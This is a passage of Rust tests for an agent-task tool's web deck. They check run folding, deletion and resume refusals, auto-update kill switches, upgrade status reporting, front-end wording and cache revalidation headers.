7036        assert!(APP_JS.contains("deleteTask:"));
7037
7038        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
7039        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7040            ..APP_JS.find("function renderRuns").unwrap()];
7041        assert!(!run_cards_slice.to_lowercase().contains("delete"));
7042
7043        // 3. Run detail has delete entry and reasons
7044        assert!(APP_JS.contains("renderRunDelete"));
7045        assert!(APP_JS.contains("runDeleteReason"));
7046        assert!(APP_JS.contains("magi fold"));
7047        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7048
7049        // 4. Two-step delete arming and focus on Cancel
7050        assert!(APP_JS.contains("cancel.focus"));
7051        assert!(APP_JS.contains("armedRunDelete"));
7052        assert!(APP_JS.contains("armedDelete"));
7053
7054        // 5. Running task has disabled delete
7055        assert!(APP_JS.contains("disabled: status === \"running\""));
7056    }
7057
7058    /// Every element a run card's updater reaches for must be in the `refs`
7059    /// the builder handed it.
7060    ///
7061    /// `createRunCard` builds its elements, appends them to the card, and then
7062    /// lists them again in `row.refs`. That second list is the one the updater
7063    /// uses, and nothing connects the two - an element can be built, appended
7064    /// and rendered, and still be missing from `refs`. `superseded` was, for
7065    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
7066    /// exception took `syncList` with it, and the deck showed
7067    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
7068    /// line is computed before the cards, which is why the failure looked like
7069    /// a server that had lost its runs rather than a front end that had
7070    /// stopped rendering them.
7071    ///
7072    /// A `cargo test` cannot execute the front end, so this reads the two
7073    /// halves out of the source and compares them as sets. It is not a check
7074    /// on the wording of either list: adding an element, renaming one, or
7075    /// reordering them all keeps this passing, and only using one the builder
7076    /// never published fails it.
7077    #[test]
7078    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7079        let build = APP_JS
7080            .find("function createRunCard")
7081            .expect("createRunCard exists");
7082        let update = APP_JS
7083            .find("function updateRunCard")
7084            .expect("updateRunCard exists");
7085        let end = APP_JS
7086            .find("function renderRuns")
7087            .expect("renderRuns exists");
7088
7089        // The builder's published set: the object literal assigned to `refs`.
7090        let builder = &APP_JS[build..update];
7091        let open = builder.find("refs = {").expect("createRunCard sets refs");
7092        let literal = &builder[open + "refs = {".len()..];
7093        let close = literal.find('}').expect("the refs literal is closed");
7094        let published: HashSet<&str> = literal[..close]
7095            .split(',')
7096            // `name` and `name: value` both bind `name`.
7097            .filter_map(|entry| entry.split(':').next())
7098            .map(str::trim)
7099            .filter(|name| !name.is_empty())
7100            .collect();
7101        assert!(
7102            published.len() > 5,
7103            "the refs literal did not parse into names: {published:?}"
7104        );
7105
7106        // What the updaters reach for: every `r.<name>`, where `r` is the
7107        // `const r = row.refs` alias both functions open with.
7108        let mut used: Vec<&str> = Vec::new();
7109        let updaters = &APP_JS[update..end];
7110        for (at, _) in updaters.match_indices("r.") {
7111            // `r` must be the whole identifier, not the tail of another one
7112            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
7113            let before = updaters[..at].chars().next_back();
7114            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7115                continue;
7116            }
7117            let rest = &updaters[at + 2..];
7118            let len = rest
7119                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7120                .unwrap_or(rest.len());
7121            if len > 0 {
7122                used.push(&rest[..len]);
7123            }
7124        }
7125        assert!(
7126            used.len() > 5,
7127            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7128        );
7129
7130        let missing: Vec<&str> = used
7131            .iter()
7132            .copied()
7133            .filter(|name| !published.contains(name))
7134            .collect();
7135        assert!(
7136            missing.is_empty(),
7137            "a run card's updater reaches for {missing:?}, which `createRunCard` \
7138             never put in `refs` - every card will throw and the list will \
7139             render empty under a count line that says otherwise. Published: \
7140             {published:?}"
7141        );
7142    }
7143
7144    #[tokio::test]
7145    async fn folding_from_the_phone_reports_what_it_removed() {
7146        let fx = Fixture::start().await;
7147        let runs = fx.runs();
7148
7149        // A run with no candidates has nothing to fold, which is a 200 with an
7150        // honest count rather than an error: the operator asked for the trees
7151        // to be gone and they are.
7152        let id = "20260901-000000-fold";
7153        write_run(&runs, id, RunStatus::Stalled);
7154        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7155        assert_eq!(res.status, 200);
7156        assert_eq!(res.json()["removed_count"], 0);
7157        assert_eq!(res.json()["run"], id);
7158        assert!(
7159            runs.join(id).exists(),
7160            "a fold keeps the run's record; only the worktrees go"
7161        );
7162    }
7163
7164    #[tokio::test]
7165    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7166        let fx = Fixture::start().await;
7167        let runs = fx.runs();
7168        let wt = fx.home.path().join("wt").join("magi").join("dead");
7169        let id = "20260901-000000-dead";
7170        std::fs::create_dir_all(runs.join(id)).expect("run dir");
7171        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7172        std::fs::create_dir_all(&wt).expect("worktree dir");
7173
7174        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7175        assert_eq!(res.status, 200, "{}", res.body);
7176        assert!(
7177            res.json()["removed_count"].as_u64().unwrap() > 0,
7178            "the worktree this build could not read a state for still went"
7179        );
7180        assert!(
7181            !runs.join(id).exists(),
7182            "an unreadable run has no candidate list to fold selectively, so \
7183             the whole record goes - same as `magi fold` on the CLI"
7184        );
7185    }
7186
7187    #[tokio::test]
7188    async fn deleting_an_unreadable_run_removes_it_wholesale() {
7189        let fx = Fixture::start().await;
7190        let runs = fx.runs();
7191        let wt = fx.home.path().join("wt").join("magi").join("gone");
7192        let id = "20260901-000000-gone";
7193        std::fs::create_dir_all(runs.join(id)).expect("run dir");
7194        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7195        std::fs::create_dir_all(&wt).expect("worktree dir");
7196
7197        let res = fx.delete(&format!("/api/runs/{id}")).await;
7198        assert_eq!(res.status, 204, "{}", res.body);
7199        assert!(!runs.join(id).exists(), "the broken record is gone");
7200        assert!(!wt.exists(), "its worktree is gone too");
7201    }
7202
7203    #[tokio::test]
7204    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7205        let fx = Fixture::start().await;
7206        let runs = fx.runs();
7207        let id = "20260901-000000-live";
7208        write_run(&runs, id, RunStatus::Implementing);
7209
7210        let mut beat = crate::daemon::Status::new();
7211        beat.current = vec![crate::daemon::Current {
7212            task: "20260901-000000-task".to_owned(),
7213            run: id.to_owned(),
7214        }];
7215        beat.updated_at = jiff::Timestamp::now();
7216        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7217            .expect("publish a heartbeat");
7218
7219        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7220        assert_eq!(res.status, 409);
7221        assert!(
7222            res.json()["error"]
7223                .as_str()
7224                .unwrap()
7225                .contains("live daemon"),
7226            "folding under a running agent would pull its worktree away"
7227        );
7228    }
7229
7230    #[tokio::test]
7231    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7232        let fx = Fixture::start().await;
7233        let runs = fx.runs();
7234
7235        // Only a finished run and a failed one. An *interrupted* run - a
7236        // parked one, or one whose daemon was killed mid-node - is the case
7237        // resuming exists for: run 4043 sat at `reviewing` with the deck
7238        // saying it could not be resumed, which was the one state where
7239        // resuming was the only sensible answer.
7240        for (status, word) in [
7241            (RunStatus::Merged, "merged"),
7242            (RunStatus::Ready, "ready"),
7243            (RunStatus::Failed, "failed"),
7244        ] {
7245            let id = format!("20260901-000000-{}", &word[..4]);
7246            write_run(&runs, &id, status);
7247            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7248            assert_eq!(res.status, 409, "{word} must not be resumable");
7249            let err = res.json()["error"].as_str().unwrap().to_owned();
7250            assert!(err.contains(word), "the refusal names the status: {err}");
7251        }
7252
7253        // And an interrupted run is accepted: 202, with the resume running in
7254        // the background. `Runner::resume` fails immediately here - the
7255        // fixture's run points at a repository that does not exist - which is
7256        // the point: the handler must not wait for it to find out.
7257        let mid = "20260901-000000-midf";
7258        write_run(&runs, mid, RunStatus::Reviewing);
7259        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7260        assert_eq!(res.status, 202, "an interrupted run is resumable");
7261    }
7262
7263    #[tokio::test]
7264    async fn resume_is_refused_while_the_loop_is_running() {
7265        let fx = Fixture::start().await;
7266        let runs = fx.runs();
7267        let stalled = "20260901-000000-stal";
7268        write_run(&runs, stalled, RunStatus::Stalled);
7269
7270        // The loop is busy with a *different* run, and that is still a
7271        // refusal: a manual resume must never race whatever the loop itself
7272        // is already driving, whether that is one run or several.
7273        let mut beat = crate::daemon::Status::new();
7274        beat.current = vec![crate::daemon::Current {
7275            task: "20260901-000000-task".to_owned(),
7276            run: "20260901-000000-othr".to_owned(),
7277        }];
7278        beat.updated_at = jiff::Timestamp::now();
7279        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7280            .expect("publish a heartbeat");
7281
7282        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7283        assert_eq!(res.status, 409);
7284        let err = res.json()["error"].as_str().unwrap().to_owned();
7285        assert!(err.contains("othr"), "it names what the loop is on: {err}");
7286        assert!(err.contains("stop it first"), "{err}");
7287    }
7288
7289    #[test]
7290    fn a_run_cannot_be_resumed_twice_at_once() {
7291        let home = TempDir::new().expect("temp home");
7292        let ui = Ui::new(
7293            Queue::at(home.path().join("queue")),
7294            Questions::at(home.path().join("questions")),
7295            Talks::at(home.path().join("talks")),
7296            home.path().join("runs"),
7297            home.path().to_path_buf(),
7298            PathBuf::from("/repo"),
7299        )
7300        .with_worktrees_root(home.path().join("wt"));
7301        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7302        let again = ui.begin_resume("20260901-000000-once");
7303        assert!(again.is_err(), "a second tap must not start a second graph");
7304        drop(first);
7305        assert!(
7306            ui.begin_resume("20260901-000000-once").is_ok(),
7307            "and the claim is released when the attempt ends"
7308        );
7309    }
7310
7311    #[test]
7312    fn talk_thinking_tracks_only_its_held_turn_claim() {
7313        let home = TempDir::new().expect("temp home");
7314        let ui = Ui::new(
7315            Queue::at(home.path().join("queue")),
7316            Questions::at(home.path().join("questions")),
7317            Talks::at(home.path().join("talks")),
7318            home.path().join("runs"),
7319            home.path().to_path_buf(),
7320            PathBuf::from("/repo"),
7321        )
7322        .with_worktrees_root(home.path().join("wt"));
7323        let id = "20260901-000000-once";
7324
7325        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7326        let turn = ui.begin_talk_turn(id).expect("claim turn");
7327        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7328        assert!(
7329            !ui.is_thinking("20260901-000000-other"),
7330            "one talk's turn does not make another talk busy"
7331        );
7332        drop(turn);
7333        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7334    }
7335
7336    #[tokio::test]
7337    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7338        let fx = Fixture::start().await;
7339        // Somebody else's `magi serve` owns the queue. Replacing this binary
7340        // would leave that process running an old one against the same
7341        // claims, which is worse than refusing.
7342        let mut beat = crate::daemon::Status::new();
7343        beat.pid = 4321;
7344        beat.updated_at = jiff::Timestamp::now();
7345        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7346            .expect("publish a heartbeat");
7347
7348        let res = fx.post("/api/upgrade", None).await;
7349        assert_eq!(res.status, 409);
7350        let err = res.json()["error"].as_str().unwrap().to_owned();
7351        assert!(err.contains("4321"), "the refusal names the owner: {err}");
7352        assert!(err.contains("old one against the same queue"), "{err}");
7353    }
7354
7355    /// [`should_spawn_recheck`] must refuse for the same two reasons
7356    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
7357    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
7358    /// Purely a predicate over config and the environment - no network, no
7359    /// disk, no runtime - so unlike the fixture-based tests around it this
7360    /// one needs neither.
7361    #[test]
7362    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7363        assert!(!should_spawn_recheck(&crate::config::Update {
7364            mode: UpdateMode::Off,
7365            interval: None,
7366        }));
7367
7368        // SAFETY: single-threaded as far as this variable goes, the same
7369        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
7370        unsafe {
7371            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7372        }
7373        let killed = should_spawn_recheck(&crate::config::Update {
7374            mode: UpdateMode::Notify,
7375            interval: None,
7376        });
7377        unsafe {
7378            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7379        }
7380        assert!(
7381            !killed,
7382            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7383             one-time startup check"
7384        );
7385
7386        assert!(should_spawn_recheck(&crate::config::Update {
7387            mode: UpdateMode::Notify,
7388            interval: None,
7389        }));
7390    }
7391
7392    /// [`recheck_poll_period`] must track a configured `[update] interval`
7393    /// shorter than its own default ceiling - a fixed sleep here would leave
7394    /// an operator's short interval waiting on the next wake-up instead of on
7395    /// `should_check`, which is the same bug this whole task exists to fix,
7396    /// just one level down.
7397    #[test]
7398    fn recheck_poll_period_tracks_a_short_configured_interval() {
7399        let short = crate::config::Update {
7400            mode: UpdateMode::Notify,
7401            interval: Some("1m".to_owned()),
7402        };
7403        let period = recheck_poll_period(&short);
7404        assert!(
7405            period <= Duration::from_secs(30),
7406            "a one-minute interval must wake the task far sooner than the \
7407             default ceiling, or the deck would not notice within the \
7408             interval the operator configured: got {period:?}"
7409        );
7410
7411        let default = crate::config::Update {
7412            mode: UpdateMode::Notify,
7413            interval: None,
7414        };
7415        assert_eq!(
7416            recheck_poll_period(&default),
7417            UPDATE_RECHECK_POLL_MAX,
7418            "the default day-long interval should poll at the (capped) \
7419             ceiling rather than needlessly often"
7420        );
7421    }
7422
7423    /// [`update_recheck_due`] must not repeat a check made moments ago, the
7424    /// same throttle `updater::Checker::should_check` already gives the
7425    /// CLI's notify mode. Built over an explicit state file via
7426    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
7427    /// write the operator's real `last_update_check.json` - and therefore
7428    /// cannot flake on whatever that file happens to say on the machine
7429    /// running the test.
7430    #[test]
7431    fn recheck_skips_the_network_before_the_interval_elapses() {
7432        let dir = TempDir::new().expect("temp dir");
7433        let path = dir.path().join("state.json");
7434        let state = kaishin::UpdateCheckState {
7435            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7436            last_known_latest: None,
7437            last_known_url: None,
7438        };
7439        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7440
7441        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7442        assert!(
7443            !update_recheck_due(&checker, None),
7444            "a check made moments ago must not be repeated before the \
7445             configured interval elapses"
7446        );
7447    }
7448
7449    /// An upgrade this deck already started must not be raced by a recheck
7450    /// that discovers a newer release mid-install - regardless of what
7451    /// `should_check` says, which is why the state file here is missing
7452    /// entirely: read alone, that alone would answer "never checked, go
7453    /// ahead".
7454    #[test]
7455    fn recheck_defers_to_an_upgrade_already_in_flight() {
7456        let dir = TempDir::new().expect("temp dir");
7457        let path = dir.path().join("state.json");
7458        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7459        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7460
7461        assert!(
7462            !update_recheck_due(&checker, Some(&progress)),
7463            "a recheck must not run while an upgrade this deck started is \
7464             still moving"
7465        );
7466    }
7467
7468    #[tokio::test]
7469    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7470        // The same env var the background check honours (`disabled_by_env`)
7471        // must also stop a button press before it ever calls
7472        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
7473        // means "never contact GitHub from this process", and a tap on the
7474        // upgrade button must not override that any more than a broken
7475        // `magi.toml` may. Left unset, this fixture's default config would
7476        // otherwise reach a real, unauthenticated GitHub call.
7477        //
7478        // SAFETY: single-threaded as far as this variable goes - nothing else
7479        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
7480        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
7481        unsafe {
7482            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7483        }
7484        let fx = Fixture::start().await;
7485        let res = fx.post("/api/upgrade", None).await;
7486        unsafe {
7487            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7488        }
7489        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7490        let body = res.json();
7491        assert!(body["to"].is_null(), "there was no release to move to");
7492        assert!(body["parked"].is_null(), "and nothing was parked");
7493        assert!(
7494            body["detail"]
7495                .as_str()
7496                .unwrap()
7497                .contains("disabled by MAGI_NO_AUTOUPDATE"),
7498            "{body:?}"
7499        );
7500    }
7501
7502    #[tokio::test]
7503    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7504        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
7505        // and the route answers from its own logic.
7506        //
7507        // This test used to lean on the fixture's placeholder repo failing
7508        // config discovery, which left `mode = "notify"` - and a live,
7509        // unauthenticated call to the GitHub releases API inside a unit test.
7510        // GitHub allows 60 of those an hour per address, so the suite went red
7511        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
7512        // long as somebody kept re-running it: every attempt spent another
7513        // request. Six reruns across four pull requests were charged to that
7514        // before it was read as a rate limit rather than a flake.
7515        //
7516        // What the assertion is about is the "already current" branch, which
7517        // is reached by there being no newer release *or* nowhere to look. The
7518        // second one needs no network and cannot be rate limited.
7519        let repo = TempDir::new().expect("repo dir");
7520        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7521            .expect("write magi.toml");
7522        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7523
7524        // It must answer 200 and leave the process alone: restarting for an
7525        // upgrade that did not happen parks the run in flight and drops every
7526        // connection to pay for nothing. A probe against a deck already on the
7527        // newest build did exactly that, which is how this case got its own
7528        // branch.
7529        let res = fx.post("/api/upgrade", None).await;
7530        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7531        let body = res.json();
7532        assert!(body["to"].is_null(), "there was no release to move to");
7533        assert!(body["parked"].is_null(), "and nothing was parked");
7534        assert!(
7535            body["detail"]
7536                .as_str()
7537                .unwrap()
7538                .contains("nothing restarted"),
7539            "{body:?}"
7540        );
7541    }
7542
7543    #[tokio::test]
7544    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7545        // `mode = "off"` for the same reason as the test above: a default
7546        // fixture repo falls back to `mode = "notify"`, which would make this
7547        // route's new `update` field a live, unauthenticated GitHub call on
7548        // every assertion in this suite that happens to hit `/api/health`.
7549        let repo = TempDir::new().expect("repo dir");
7550        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7551            .expect("write magi.toml");
7552        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7553
7554        let health = fx.get("/api/health").await.json();
7555        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7556        assert_eq!(
7557            health["update"]["available"], false,
7558            "checking is off, which reads as \"unknown\", not \"none\""
7559        );
7560        assert!(health["update"]["to"].is_null());
7561        assert!(
7562            health["upgrade"].is_null(),
7563            "nothing has ever asked this deck to upgrade"
7564        );
7565    }
7566
7567    #[tokio::test]
7568    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7569        let fx = Fixture::start().await;
7570        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7571
7572        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7573        progress.parked_run = Some("20260905-000000-cd51".to_owned());
7574        progress.advance(crate::updater::Stage::Parking);
7575        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7576
7577        let health = fx.get("/api/health").await.json();
7578        assert_eq!(health["upgrade"]["stage"], "parking");
7579        assert_eq!(health["upgrade"]["from"], "0.5.1");
7580        assert_eq!(health["upgrade"]["to"], "0.5.2");
7581        let waiting_on = health["upgrade"]["waiting_on"]
7582            .as_str()
7583            .expect("waiting_on is set while parking a known run");
7584        assert!(waiting_on.contains("cd51"), "{waiting_on}");
7585        assert!(waiting_on.contains("implementing"), "{waiting_on}");
7586    }
7587
7588    #[tokio::test]
7589    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7590        let fx = Fixture::start().await;
7591        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7592        progress.advance(crate::updater::Stage::Done);
7593        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7594
7595        let health = fx.get("/api/health").await.json();
7596        assert_eq!(health["upgrade"]["stage"], "done");
7597        assert!(
7598            health["upgrade"]["waiting_on"].is_null(),
7599            "nothing to wait on once it is done"
7600        );
7601    }
7602
7603    #[tokio::test]
7604    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7605        let home = TempDir::new().expect("temp home");
7606        let runs = home.path().join("runs");
7607        std::fs::create_dir_all(&runs).expect("runs dir");
7608        let ui = Ui::new(
7609            Queue::at(home.path().join("queue")),
7610            Questions::at(home.path().join("questions")),
7611            Talks::at(home.path().join("talks")),
7612            runs,
7613            home.path().to_path_buf(),
7614            PathBuf::from("/repo/magi"),
7615        )
7616        .with_launch(launch_idle);
7617        let looping = ui.looping();
7618        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7619            .await
7620            .expect("bind loopback");
7621        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7622
7623        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7624        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
7625
7626        hand_over(home.path(), &looping, served, || Ok(()))
7627            .await
7628            .expect("hand over");
7629
7630        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
7631        assert_eq!(
7632            after.stage,
7633            crate::updater::Stage::Restarting,
7634            "hand_over owns the record through parking and up to restarting; \
7635             the successor is what finishes it"
7636        );
7637    }
7638
7639    #[test]
7640    fn the_upgrade_button_arms_before_it_restarts_anything() {
7641        // It ends the process the operator is talking to, and a phone in a
7642        // pocket taps things. One tap arms, the second commits.
7643        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
7644        assert!(APP_JS.contains("Replace the binary and restart?"));
7645        assert!(APP_JS.contains("function confirmed("));
7646        // Hidden when the loop is somebody else's, matching the 409 above -
7647        // and hidden with nothing to install, matching the 200 "already
7648        // current" branch: an operator on the newest build must not be
7649        // offered a restart that would only park a run for nothing.
7650        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
7651        // A park waits for the node in flight, up to an hour for an implement
7652        // wave. Leaving the button reading "Upgrading…" for that long is the
7653        // same mistake as an error rendered off screen: it looks wedged.
7654        assert!(
7655            APP_JS.contains("Parking, then restarting"),
7656            "the button says what it is waiting for"
7657        );
7658        // And nothing to install must give the button back rather than
7659        // pretending a restart is coming.
7660        assert!(APP_JS.contains("if (!out.to)"));
7661    }
7662
7663    #[test]
7664    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
7665        assert!(
7666            APP_JS.contains("state.health.version"),
7667            "the operator wants to know what is running even with nothing newer"
7668        );
7669        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
7670    }
7671
7672    #[test]
7673    fn the_upgrade_button_names_its_destination() {
7674        assert!(
7675            APP_JS.contains("`Update to ${update.to}`"),
7676            "pressing the button should not be a surprise about what it moves to"
7677        );
7678    }
7679
7680    #[test]
7681    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
7682        for stage in ["downloading", "replaced", "parking", "restarting"] {
7683            assert!(
7684                APP_JS.contains(&format!("\"{stage}\"")),
7685                "the phone must be able to tell {stage} apart from the others"
7686            );
7687        }
7688        assert!(APP_JS.contains(".waiting_on"));
7689        // What replaced the bare "Cannot reach magi: Failed to fetch": a
7690        // fetch failing while an upgrade is in flight is not an error, it is
7691        // the sub-second gap `bind_waiting` covers, and it must not be
7692        // reported as one.
7693        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
7694        assert!(APP_JS.contains("reconnects on its own"));
7695    }
7696
7697    #[test]
7698    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
7699        // `Stage::Failed` is terminal on the server and nothing clears it on
7700        // its own - not a fresh start, not time passing - so a full-strip
7701        // takeover for it (the way the busy stages take the strip over,
7702        // correctly, because those are transient) would have hidden
7703        // start/stop/park behind an upgrade notice with no way back short of
7704        // a person editing `upgrade.json` by hand or a later release
7705        // happening to succeed. The failure must instead ride along as a note
7706        // next to whatever control the loop's own state already offers.
7707        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
7708            ..APP_JS.find("function upgrade(").expect("upgrade")];
7709        assert!(
7710            !body.contains(
7711                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
7712            ),
7713            "a failed upgrade must not take the whole strip over the way it used to"
7714        );
7715        assert!(
7716            body.contains("upgradeFailNote"),
7717            "the failure has to reach the loop's own note instead"
7718        );
7719        // `quiet` and `control` are the only two places `loop-why` is set from
7720        // this function's own state; both must carry the note through, or a
7721        // future edit to either one would silently drop it again.
7722        assert_eq!(
7723            body.matches("upgradeFailNote].filter(Boolean).join")
7724                .count(),
7725            2,
7726            "both loop-why writers (quiet and control) must fold the note in"
7727        );
7728    }
7729
7730    #[test]
7731    fn an_overdue_upgrade_eventually_asks_for_a_human() {
7732        // The ceiling has to clear a full hour-long park with room to spare,
7733        // or an ordinary implement wave would be reported as a stuck upgrade.
7734        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7735        assert!(APP_JS.contains("function upgradeOverdue("));
7736    }
7737
7738    #[test]
7739    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7740        assert!(
7741            APP_JS.contains("Updated to ${upgradeInfo.to"),
7742            "the operator who asked for the restart wants to know it worked"
7743        );
7744    }
7745
7746    #[test]
7747    fn an_error_is_visible_from_where_the_button_is() {
7748        // The alert used to sit in the flow under the header. On a phone
7749        // scrolled 13 500 px down to a run's action sheet that is off screen,
7750        // so tapping Resume and being told "the loop is running run b455
7751        // right now" looked exactly like a button that did nothing.
7752        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7753            ..APP_CSS.find(".alert-text").expect(".alert-text")];
7754        assert!(
7755            alert.contains("position: fixed"),
7756            "an error about the thing under your thumb has to be visible from \
7757             where your thumb is: {alert}"
7758        );
7759        assert!(
7760            alert.contains("z-index: 25"),
7761            "above the dock (20) and the run-actions FAB (15), so neither \
7762             buries it: {alert}"
7763        );
7764        assert!(
7765            alert.contains("var(--tap)"),
7766            "and clear of the dock and the home indicator: {alert}"
7767        );
7768        // The FAB sits at the same height on the right. An error that covered
7769        // it would hide the button the operator reaches for next.
7770        assert!(
7771            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7772            "the FAB's column stays free: {alert}"
7773        );
7774    }
7775
7776    #[tokio::test]
7777    async fn an_older_attempt_says_what_replaced_it() {
7778        let fx = Fixture::start().await;
7779        let q = fx.queue();
7780        let runs = fx.runs();
7781        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7782        write_run(&runs, first, RunStatus::Stalled);
7783        write_run(&runs, second, RunStatus::Blocked);
7784
7785        let mut t = Task::new(
7786            "one task".to_owned(),
7787            "do it".to_owned(),
7788            PathBuf::from("/repo"),
7789            Source::Human,
7790        );
7791        t.runs = vec![first.to_owned(), second.to_owned()];
7792        q.put(&mut t).expect("put");
7793
7794        // Two cards with the same title and no hint which is which was the
7795        // question: "why are there two of the same, one stalled and one
7796        // blocked?" The older one now names its replacement.
7797        let rows = fx.get("/api/runs").await.json();
7798        let by = |short: &str| -> Value {
7799            rows.as_array()
7800                .unwrap()
7801                .iter()
7802                .find(|r| r["short"] == short)
7803                .cloned()
7804                .unwrap_or(Value::Null)
7805        };
7806        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7807        assert!(
7808            by("bbbb")["superseded_by"].is_null(),
7809            "the latest attempt is not superseded by anything"
7810        );
7811        // Front end: the note has to be rendered, not just carried.
7812        assert!(APP_JS.contains("run.superseded_by"));
7813        assert!(APP_JS.contains("Superseded by"));
7814    }
7815
7816    #[tokio::test]
7817    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7818        let fx = Fixture::start().await;
7819        // No cache header at all meant browsers invented their own policy,
7820        // and one did: a phone went on showing "Candidates must be folded
7821        // before deleting. Run `magi fold` first." - deleted two releases
7822        // earlier - from a deck that no longer contained the sentence. The
7823        // button it named was right there, and unreachable.
7824        let js = fx.get("/app.js").await;
7825        assert_eq!(js.status, 200);
7826        let tag = js
7827            .header("etag")
7828            .expect("an etag to revalidate against")
7829            .to_owned();
7830        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7831        assert_eq!(
7832            js.header("cache-control"),
7833            Some("no-cache, must-revalidate"),
7834            "the phone has to ask every time"
7835        );
7836
7837        // And the asking has to be cheap, or `must-revalidate` just means
7838        // "send the whole interface on every load".
7839        let again = fx
7840            .get_with("/app.js", &[("if-none-match", tag.as_str())])
7841            .await;
7842        assert_eq!(
7843            again.status, 304,
7844            "a deck it already has costs one round trip"
7845        );
7846        assert!(again.body.is_empty(), "304 carries no body");
7847
7848        // A weakened tag from a proxy still matches; a different build does
7849        // not, which is the case that has to deliver the new interface.
7850        let weak = fx
7851            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7852            .await;
7853        assert_eq!(weak.status, 304);
7854        let stale = fx
